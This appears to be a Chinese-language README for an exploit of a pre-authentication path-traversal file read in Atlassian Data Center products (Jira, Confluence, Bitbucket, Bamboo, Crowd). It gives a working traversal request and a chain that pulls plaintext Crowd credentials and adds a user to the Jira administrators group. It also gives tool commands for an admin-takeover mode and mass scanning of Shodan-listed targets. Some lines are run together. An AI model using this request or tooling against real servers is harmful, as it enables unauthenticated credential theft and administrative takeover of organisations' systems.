Atlassian DC 预认证任意文件读取,CVSS 9.3
Router.unescapeSlashes() 在 Tomcat 完成单次 URI 解码后,将 :: 转换为 /。..%3a%3a 可绕过 Tomcat 的路径规范化器。该路径穿越最终进入 ServletContext.getResourceAsStream(),且无需身份认证。
根本原因:atlassian-plugins-webresource(6.0.7 及以下版本)。已在 6.0.8+ 中修复。
| 产品 | 修复版本 |
|---|---|
| Jira Software / JSM DC | 9.12.40 / 10.3.26 / 11.3.12 |
| Confluence DC | 9.2.26 / 10.2.19 |
| Bitbucket DC | 9.4.26 / 10.2.8 / 10.5.1 |
| Bamboo DC | 10.2.24 / 12.1.12 |
| Crowd DC | 6.3.7 / 7.0.3 / 7.1.7 / 7.2.4 |
| Crucible / Fisheye | 4.9.15 |
所有先前版本均存在漏洞。
GET /download/resources/<anchor>/images/..::..::WEB-INF::web.xml
单次未认证 GET 请求。可读取 Tomcat webroot 中的任意文件。
WEB-INF/classes/crowd.properties → 获取明文 Crowd 应用凭据POST /crowd/rest/usermanagement/1/userjira-administrators 组# Read a file
python poc.py -t https://target.com
# Read crowd.properties + Crowd admin takeover
python poc.py -t https://target.com -f WEB-INF/classes/crowd.properties --crowd-pwn
# Batch scan from Shodan JSON
python poc.py --batch shodan_data/atlassian_targets.json -o results.json --threads 50